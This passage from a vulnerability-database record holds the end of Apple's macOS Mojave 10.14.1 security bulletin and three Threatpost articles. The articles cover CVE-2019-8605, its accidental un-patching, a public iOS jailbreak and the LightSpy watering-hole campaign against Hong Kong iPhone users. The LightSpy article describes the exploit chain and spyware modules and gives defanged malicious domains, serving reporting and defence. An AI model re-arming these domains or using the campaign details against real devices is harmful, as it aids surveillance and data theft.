of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\n**IOUserEthernet**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\n**IPSec**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2018-4371: Tim Michaud (@TimGMichaud) of Leviathan Security Group\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2018-4420: Mohamed Ghannam (@_simo36)\n\n**Kernel**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4419: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: Mounting a maliciously crafted NFS network share may lead to arbitrary code execution with system privileges\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4259: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4286: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4287: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4288: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4291: Kevin Backhouse of Semmle and LGTM.com\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to read restricted memory\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2018-4413: Juwei Lin (@panicaII) of TrendMicro Mobile Security Team\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2018-4424: Dr. Silvio Cesare of InfoSect\n\n**LinkPresentation**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: Processing a maliciously crafted text message may lead to UI spoofing\n\nDescription: A spoofing issue existed in the handling of URLs. This issue was addressed with improved input validation.\n\nCVE-2018-4187: Roman Mueller (@faker_), Zhiyang Zeng (@Wester) of Tencent Security Platform Department\n\nEntry added April 3, 2019\n\n**Login Window**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2018-4348: Ken Gannon of MWR InfoSecurity and Christian Demko of MWR InfoSecurity\n\n**Mail**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: Processing a maliciously crafted mail message may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2018-4389: Dropbox Offensive Security Team, Theodor Ragnar Gislason of Syndis\n\n**mDNSOffloadUserClient**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4326: an anonymous researcher working with Trend Micro's Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team\n\n**MediaRemote**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: An access issue was addressed with additional sandbox restrictions.\n\nCVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs\n\n**Microcode**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: Systems with microprocessors utilizing speculative execution and that perform speculative reads of system registers may allow unauthorized disclosure of system parameters to an attacker with local user access via a side-channel analysis\n\nDescription: An information disclosure issue was addressed with a microcode update. This ensures that implementation specific system registers cannot be leaked via a speculative execution side-channel.\n\nCVE-2018-3640: Innokentiy Sennovskiy from BiZone LLC (bi.zone), Zdenek Sojka, Rudolf Marek and Alex Zuepke from SYSGO AG (sysgo.com)\n\n**NetworkExtension**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: Connecting to a VPN server may leak DNS queries to a DNS proxy\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2018-4369: an anonymous researcher\n\n**Perl**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: Multiple buffer overflow issues existed in Perl\n\nDescription: Multiple issues in Perl were addressed with improved memory handling.\n\nCVE-2018-6797: Brian Carpenter\n\n**Ruby**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: Multiple issues in Ruby were addressed in this update.\n\nCVE-2017-0898\n\nCVE-2017-10784\n\nCVE-2017-14033\n\nCVE-2017-14064\n\nCVE-2017-17405\n\nCVE-2017-17742\n\nCVE-2018-6914\n\nCVE-2018-8777\n\nCVE-2018-8778\n\nCVE-2018-8779\n\nCVE-2018-8780\n\n**Security**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: Processing a maliciously crafted S/MIME signed message may lead to a denial of service\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2018-4400: Yukinobu Nagayasu of LAC Co., Ltd.\n\n**Security**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\n**Spotlight**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4393: Lufeng Li\n\n**Symptom Framework**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\n**Wi-Fi**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4368: Milan Stute and Alex Mariotto of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Calendar**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry updated February 15, 2019\n\n**coreTLS**\n\nWe would like to acknowledge Eyal Ronen (Weizmann Institute), Robert Gillham (University of Adelaide), Daniel Genkin (University of Michigan), Adi Shamir (Weizmann Institute), David Wong (NCC Group), and Yuval Yarom (University of Adelaide and Data61) for their assistance.\n\nEntry added December 12, 2018\n\n**iBooks**\n\nWe would like to acknowledge Sem Voigtl\u00e4nder of Fontys Hogeschool ICT for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**LaunchServices**\n\nWe would like to acknowledge Alok Menghrajani of Square for their assistance.\n\n**Quick Look**\n\nWe would like to acknowledge lokihardt of Google Project Zero for their assistance.\n\n**Security**\n\nWe would like to acknowledge Marinos Bernitsas of Parachute for their assistance.\n\n**Terminal**\n\nWe would like to acknowledge Federico Bento for their assistance.\n\nEntry updated February 3, 2020\n\n**Time Machine**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry added February 15, 2019\n", "edition": 4, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2020-07-27T08:14:47", "title": "About the security content of macOS Mojave 10.14.1, Security Update 2018-002 High Sierra, Security Update 2018-005 Sierra - Apple Support", "type": "apple", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0898", "CVE-2018-4425", "CVE-2018-4354", "CVE-2018-4406", "CVE-2017-17405", "CVE-2018-4288", "CVE-2018-8778", "CVE-2018-4399", "CVE-2018-4368", "CVE-2017-17742", "CVE-2018-4400", "CVE-2018-4423", "CVE-2018-4407", "CVE-2017-10784", "CVE-2018-8780", "CVE-2018-4286", "CVE-2018-4468", "CVE-2018-4424", "CVE-2018-4410", "CVE-2018-4304", "CVE-2018-4340", "CVE-2018-4287", "CVE-2018-4395", "CVE-2018-4346", "CVE-2018-4403", "CVE-2018-4396", "CVE-2018-4295", "CVE-2018-4153", "CVE-2018-4369", "CVE-2018-4402", "CVE-2018-4187", "CVE-2018-4334", "CVE-2018-4413", "CVE-2018-4420", "CVE-2018-4242", "CVE-2018-4259", "CVE-2017-12613", "CVE-2018-4419", "CVE-2018-4310", "CVE-2017-14033", "CVE-2018-4398", "CVE-2018-4348", "CVE-2018-4401", "CVE-2018-3646", "CVE-2018-4389", "CVE-2018-6797", "CVE-2017-12618", "CVE-2018-4308", "CVE-2018-4371", "CVE-2018-4408", "CVE-2018-4412", "CVE-2018-4350", "CVE-2018-4415", "CVE-2018-4203", "CVE-2018-4326", "CVE-2018-4426", "CVE-2018-8777", "CVE-2018-4342", "CVE-2017-14064", "CVE-2018-4331", "CVE-2018-4393", "CVE-2018-4418", "CVE-2018-4394", "CVE-2018-4417", "CVE-2018-4411", "CVE-2018-4341", "CVE-2018-8779", "CVE-2018-3639", "CVE-2018-4291", "CVE-2018-6914", "CVE-2018-4126", "CVE-2018-3640", "CVE-2018-4422", "CVE-2018-4421"], "modified": "2020-07-27T08:14:47", "id": "APPLE:HT209193", "href": "https://support.apple.com/kb/HT209193", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2020-06-04T22:06:26", "description": "Apple\u2019s most recent operating system update, iOS 12.4, accidentally unpatched a fix that had been issued in a previous update \u2014 leaving devices vulnerable to code execution and privilege-escalation attacks. The flaw also allows phones to be jailbroken \u2014 and a public jailbreak has just been released to take advantage of it on phones running the latest version of iOS.\n\nThe blunder, first reported by [Motherboard](<https://www.vice.com/en_us/article/qvgp77/hacker-releases-first-public-iphone-jailbreak-in-years>), means that Apple devices that are fully updated to the most recent iOS version are open to a vulnerability that had previously been [patched in May](<https://threatpost.com/apple-patches-intel-side-channel-ios-macos/144743/>) as part of the iOS 12.3 update.\n\nThe flaw, ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in iOS devices, including the iPhone 5s and later, iPad Air and later, and the iPod touch sixth generation.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nWhile Williamson\u2019s exploit offered the ability to jailbreak in iOS 12.2, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\nAfter its release, iPhone users [flocked to Twitter](<https://twitter.com/search?q=iPhone%20jailbreak&src=typed_query>) to show their successful attempts at jailbreaking their own phones \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone. It\u2019s useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem.\n\n\u201cYou will have to upgrade to iOS 12.4 if you are on iOS 12.3 to use the latest jailbreak \u2013 Enjoy,\u201d said Pwn20wnd on Twitter.\n\n> Security researchers: Are you waiting for Apple's research iPhone program? You can save a lot of time by picking one up at an Apple Store right now and running the [#unc0ver](<https://twitter.com/hashtag/unc0ver?src=hash&ref_src=twsrc%5Etfw>) [#jailbreak](<https://twitter.com/hashtag/jailbreak?src=hash&ref_src=twsrc%5Etfw>) on it.\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 19, 2019](<https://twitter.com/Pwn20wnd/status/1163545842642386944?ref_src=twsrc%5Etfw>)\n\nPublic iOS jailbreaks are not common, especially for up-to-date phones \u2013 in fact, this is the first public jailbreak released in years that addresses fully updated phones.\n\nMalicious attacks on jailbroken phones allow privilege escalation and full hacks of Apple devices; and because this vulnerability could be exploited via a malicious app to jailbreak phones, security researchers like Stefan Esser are warning iPhone users with the most up-to-date patch to be extra cautious of any apps that they download \u2013 even those from the official App Store.\n\n> I hope people are aware that with a public jailbreak being available for the latest iOS 12.4 people must be very careful what Apps they download from the Apple AppStore. Any such app could have a copy of the jailbreak in it.\n> \n> \u2014 Stefan Esser (@i0n1c) [August 19, 2019](<https://twitter.com/i0n1c/status/1163400360020598784?ref_src=twsrc%5Etfw>)\n\nBlake Collins, research analyst at SiteLock said in an email that the jailbreak makes phones an easier target for malware and spyware.\n\n\u201cIn this instance with iOS 12.4, there was an internal misstep where important code was removed,\u201d Blake Collins, research analyst at SiteLock, said in an email. \u201cWith this update, phones can be jailbroken again and are now vulnerable to spyware or worse. The implications for this are far-reaching.\u201d\n\nIn addition, the vulnerability makes the personal and private data on vulnerable iPhones more accessible \u201cin unforeseen ways,\u201d he said.\n\n\u201cPhotos, emails, phone numbers and possibly even banking data could be stolen if you installed an app that was able to exploit these escalated privileges,\u201d said Collins. \u201cFor those who want to have the flexibility that comes with a jailbroken phone, it\u2019s critical that you\u2019re educated on all the vulnerabilities and security issues this opens up for you.\u201d\n\nApple has not responded to a request for comment from Threatpost on the incident, or whether a patch is being released.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the rollout of 5G networks worldwide. _****_[Click here to register.](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)_**\n", "cvss3": {}, "published": "2019-08-20T15:22:05", "type": "threatpost", "title": "Apple iOS Patch Blunder Opens Updated iPhones to Jailbreaks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-20T15:22:05", "id": "THREATPOST:FF3CF3FA3B1ABB90E090DC157C18D35C", "href": "https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-03T21:41:32", "description": "A recently discovered, mass-targeted watering-hole campaign has been aiming at Apple iPhone users in Hong Kong \u2013 infecting website visitors with a newly developed custom surveillance malware. The bad code \u2013 the work of a new APT called \u201cTwoSail Junk\u201d \u2013 is delivered via a multistage exploit chain that targets iOS vulnerabilities in versions 12.1 and 12.2 of Apple\u2019s operating system, according to researchers.\n\nWatering-hole campaigns make use of malicious websites that lure visitors in with targeted content \u2013 cyberattackers often post links to that content on discussion boards and on social media to cast a wide net. When visitors click through to a malicious website, background code will then infect them with malware.\n\nIn this case, the campaign uses links posted on multiple forums that purport to lead to various news stories that would be of interest to Hong Kong residents, according to a pair of research notes from [Kaspersky](<https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/>) and [Trend Micro](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>). The links lead to both newly created websites set up specifically for this campaign by the operators, as well as legitimate sites that have been compromised. In both cases, a hidden iframe is used to load and execute malicious code.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThat code contains exploits for known and patched Apple iOS vulnerabilities \u2013 and has an endgame of installing a custom, proprietary backdoor spyware, dubbed LightRiver by Kaspersky and lightSpy by Trend Micro.\n\nThe backdoor not only allows remote execution of shell commands, but it also contains a variety of espionage modules (researchers\u2019 names for the backdoor both come from the malware\u2019s module manager, which is called \u201clight\u201d).\n\nThe modules include functions for exfiltrating contacts, GPS location data, call records, logs of recent Wi-Fi hotspots that the phone has connected to, browser histories, SMS messages, and even the iOS keychain with stored passwords for apps and websites. It also gathers hardware fingerprinting information and data about the user\u2019s local Wi-Fi network and local network IP address.\n\nAnd, it targets messenger applications, like Telegram, QQ and WeChat, to lift correspondence from the victims.\n\nDespite the deep level of surveillance afforded by the malware, researchers said that the campaign doesn\u2019t appear to be a targeted effort, apart from focusing on Hong Kong residents (50 percent of whom use iPhones).\n\n\u201cThis aims to compromise as many mobile devices as possible for device-backdooring and surveillance,\u201d according to Trend Micro.\n\n\u201cBoth ours and previous reporting from others have documented TwoSail Junk\u2019s less precise and broad use of forum posts and replies,\u201d Kaspersky researchers, who identified the threat actor as the TwoSail Junk APT, noted. However, researchers noted that there could be a dissident aspect of the campaign: \u201cThese forum posts direct individuals frequenting these sites to pages hosting iFrames served from their exploit servers. We add Telegram channels and Instagram posts to the list of communication channels abused by these attackers. These sites and communication mediums are known to be frequented by some activist groups.\u201d\n\n**Timeline**\n\nThe attacks were first identified on January 10 by Kaspersky, and began in earnest, via a massive distribution campaign, on February 18. The attacks have continued into March: Trend Micro last week spotted related forum posts that pretended to link to a schedule for protests in Hong Kong.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135259/lightspy-deployment.png>)\n\nSource: Kaspersky\n\nKaspersky meanwhile has observed the APT tinkering with the code on an ongoing basis, modifying some exploit chain components on both February 7 and on March 3 and extending the number of supported devices. Now, the exploits used targets a variety of iPhone models, from the iPhone 6S up to the iPhone X.\n\n\u201cThe actor was actively changing implant components,\u201d according to the Kaspersky analysis, which noted that the first observed version of one of the exploits resembled a proof of concept (PoC). \u201cBased on our observations of these changes over a relatively short time frame, we can assess that the actor implemented a fairly agile development process, with time seemingly more important than stealthiness or quality.\u201d\n\n**The Watering Holes**\n\nSome of the URLs used in the campaign lead to a malicious website created by the attacker. Kaspersky noted that the initial watering hole site (hxxps://appledaily.googlephoto[.]vip/news[.]html) seen in January was designed to mimic a well-known Hong Kong-based newspaper called Apple Daily. This was done by simply copying HTML content from the original, researchers said.\n\nThe site in turn contained three iframes that pointed to different sites, according to the analyses.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/26135450/lightspy-landing-page.png>)\n\nWatering-hole landing page (click to enlarge). Source: Kaspersky.\n\n\u201cStarting on February 18, the actors began utilizing a series of invisible iframes to redirect potential victims to the exploit site as well as the intended legitimate news site from the lure,\u201d Kaspersky researchers wrote.\n\nTrend Micro added: \u201cThe only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.\u201d\n\nLinks to these malicious sites were posted on four different forums, in posts that include the headline of a given news story, accompanying images and a link to the fake news site.\n\n\u201cThe topics used as lures were either sex-related, clickbait-type headlines or news related to the COVID-19 disease,\u201d wrote researchers at Trend Micro. \u201cWe do not believe that these topics were targeted at any users specifically; instead they targeted the users of the sites as a whole.\u201d\n\nIn other cases, a legitimate site was copied and injected with a malicious iframe.\n\n\u201cThere are many techniques that attackers can use to compromise websites \u2013 SQL injection, cross-site scripting (XSS) and social engineering techniques are the most commonly used,\u201d Trend Micro researcher William Gamazo Sanchez told Threatpost. \u201cHowever, for this particular attack we did not focus on techniques they used against the websites. We have reasons to believe they would employ several techniques, though.\u201d\n\n**The Exploit Chain**\n\nOnce a visitor hits the malicious watering-hole site, the full exploit chain involves a silently patched Safari bug (which works on multiple recent iOS versions) and a customized kernel exploit, researchers said.\n\nThe silently patched Safari bug does not have an associated CVE, according to Trend Micro, but its exploitation leads to the exploitation of an [infamous, known kernel vulnerability](<https://threatpost.com/apple-fixes-ios-flaw-that-opened-iphones-to-jailbreaks/147717/>) used to gain root privileges.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges. The flaw allows phones to be jailbroken, in essence. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nWhen the kernel exploit (jailbreak) is triggered, a function called payload.dylib proceeds to download the multiple data exfiltration modules outlined before; as well as functions associated with startup and loading, and instructions for connecting to the hardcoded location of the command-and-control (C2) server.\n\nThe aforementioned \u201clight\u201d function serves as the main control for the malware, and is capable of loading and updating the other modules, according to the research.\n\n\u201c[The malware] is a custom job that is very well-designed with a modular architecture,\u201d Gamazo Sanchez told Threatpost. \u201cMore sophisticated than the average malware variant, [especially when it comes to] the level of sophistication to exfiltrate data. Most notably, the actors have clear targets in mind and designed a mechanism and distribution pattern to reach these targets based on their computing habits, to ensure they will not be noticed immediately.\u201d\n\niPhone users are protected from the malware if they have updated to the latest iOS version.\n\n**Links to Android Campaign**\n\nThe iOS effort appears to be connected to a previous, similar 2019 campaign aimed at Android users, according to researchers at both firms. In that offensive, links to malicious apps were found on various public Hong Kong-related Telegram channels.\n\nThat Android malware family was first advertised as a calendar app containing protest schedules in Hong Kong. It was disseminated via the \u201cwinuxhk\u201d and \u201cbrothersisterfacebookclub\u201d Telegram channels and Instagram posts in late November 2019, Kaspersky researchers noted.\n\nThe message lure in Chinese translated to: \u201cThe Hong Kong People Calendar APP is online ~~~ Follow the latest Hong Kong Democracy and Freedom Movement. Click to download and support the frontline. Currently only Android version is available.\u201d\n\nOnce installed, the rogue app made requests for sensitive permissions, and set about harvesting and exfiltrating contacts, text messages, the user\u2019s location and the names of stored files, researchers said.\n\nThe new iOS campaign and the older Android campaign are linked via their infrastructure, according to the Trend Micro analysis: The Android download and C2 servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component.\n\n**Atrribution**\n\nWhile Kaspersky is calling the APT group behind the effort \u201cTwoSail Junk,\u201d researchers there said that the operators are likely tied to other, well-known threat actors.\n\n\u201cWe have hints from known backdoor callbacks to infrastructure about clustering this campaign with previous activity,\u201d according to the firm\u2019s analysis. \u201cAnd we are working with colleagues to tie LightRiver with prior activity from a long running Chinese-speaking APT group, previously reported on as Spring Dragon/Lotus Blossom/Billbug(Thrip), known for their Lotus Elise and Evora backdoor malware.\u201d\n\nFor instance, further technical analysis by Kaspersky of the previous Android campaign showed there to be two subzones of the URL used for serving the malicious apps.\n\n\u201cResolving for C2 resources, we worked with partners to pivot into a handful of \u201cevora\u201d malware samples\u2026that [also] use poorgoddaay[.]com subzones for their C2,\u201d Kaspersky noted. \u201cThese new evora backdoors are 99 percent similar as rated by our Kaspersky Threat Attribution Engine to evora backdoors previously deployed by SpringDragon.\u201d\n\nThe researchers said they also saw other evora malware samples calling back to these same subnets while targeting specific organizations in Hong Kong \u2013 lending further credence to the idea that TwoSail Junk is affiliated with SpringDragon.\n\n\u201cThis particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia,\u201d according to the Kaspersky analysis. \u201cThis innovative approach is something we have seen before from SpringDragon, and LightRiver targeting geolocation at least falls within previous regional targeting of SpringDragon/LotusBlossom/Billbug APT, as does infrastructure and evora backdoor use.\u201d\n\nFor its part, Trend Micro researchers agree that the evidence points to a sophisticated attacker.\n\n\u201cIt is safe to say this is not a financially motivated campaign,\u201d Gamazo Sanchez told Threatpost. \u201cThere are indicators that this form of attack can be considered sophisticated: Attacks targeting iOS is relatively uncommon over the years given the stringent measures built in in these devices; uses of \u2018silent patches\u2019 makes it difficult to find and track known and addressed bugs; an added layer of sophistication is seen with the customization attackers used to match the model and iOS version of the target devices.\u201d\n\nHe added that while the campaign, which Trend Micro calls Operation Poison News, is focused on Hong Kong for now, investigations are ongoing into the operators\u2019 future plans. Kaspersky also said that there\u2019s evidence that other versions of the backdoor are under development.\n\n\u201cThe userConfig variable indicates other possible platforms that may have been targeted by the same actors, such as Linux, Windows and routers,\u201d according to the analysis.\n\n[](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-03-26T17:49:40", "type": "threatpost", "title": "Emerging APT Mounts Mass iPhone Surveillance Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-26T17:49:40", "id": "THREATPOST:DCE54029E2039178B6F2685D0BF8C518", "href": "https://threatpost.com/emerging-apt-mounts-mass-iphone-surveillance-campaign/154192/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-06-11T21:49:28", "description": "Apple has released an emergency patch fixing a kernel vulnerability \u2013 for the second time \u2013 after it was [accidentally unpatched](<https://threatpost.com/apple-ios-patch-blunder-iphones-jailbreaks/147519/>) in iOS 12.4.\n\nThe flaw ([CVE-2019-8605](<https://support.apple.com/en-us/HT210118>)), a use-after-free issue existing in the kernel, could enable a malicious application to execute arbitrary code with system privileges in up-to-date iOS devices. Worse, the flaw allows phones to be jailbroken \u2014 and a public jailbreak was released last week to take advantage of it on phones running the latest version of iOS.\n\n\u201cA malicious application may be able to execute arbitrary code with system privileges,\u201d according to Apple\u2019s [newest iOS patch](<https://support.apple.com/en-us/HT210549>), iOS 12.4.1, released on Monday. \u201cA use after free issue was addressed with improved memory management.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe release of public jailbreaks \u2014 a method to escape Apple\u2019s limitations on what apps and code can run on the iPhone \u2013 are atypical, especially for up-to-date phones. Jailbreaks are useful for those wanting to install custom code, add features or perform security research outside the purview of the Apple ecosystem \u2013 but can also expose phones to spyware and malware attacks.\n\nThe bug was initially discovered by Google Project Zero research Ned Williamson, who after the initial patch published an [exploit for iOS 12.2](<https://twitter.com/nedwilliamson/status/1149376365495373824?lang=en>), dubbed \u201cSockPuppet,\u201d that utilized the vulnerability to \u201cachieve the kernel_task port on iOS 12.2 on [the]iPhone 6S+.\u201d\n\nApple patched the vulnerability in a previous May update, but its most recent operating system update, iOS 12.4, accidentally unpatched the fix. Then, on Aug. 18 a hacker under the alias \u201cPwn20wnd\u201d [on Github](<https://github.com/pwn20wndstuff/Undecimus/releases>) released various fine-tuned jailbreaks for the latest version of iOS, based on SockPuppet.\n\n\u201cPwn20wnd,\u201d who was also credited in Apple\u2019s Monday update, on Twitter confirmed the patch.\n\n> I can confirm the exploit was patched in iOS 12.4.1 \u2013 \u2013 Stay on iOS 12.4!\n> \n> \u2014 Pwn20wnd is reviving 0-Days (@Pwn20wnd) [August 26, 2019](<https://twitter.com/Pwn20wnd/status/1166051972308324352?ref_src=twsrc%5Etfw>)\n\nApple did not respond to a request for comment from Threatpost.\n\nThe phone giant also released updates for [macOS Mojave and tvOS](<https://support.apple.com/en-us/HT201222>) addressing the kernel vulnerability.\n\n**_Interested in more on the internet of things (IoT)? Don\u2019t miss our free _**[**_Threatpost webinar_**](<https://attendee.gotowebinar.com/register/3926374015661345537?source=ART>)**_, \u201cIoT: Implementing Security in a 5G World.\u201d Please join Threatpost senior editor Tara Seals and a panel of experts as they offer enterprises and other organizations insight about how to approach security for the next wave of IoT deployments, which will be enabled by the 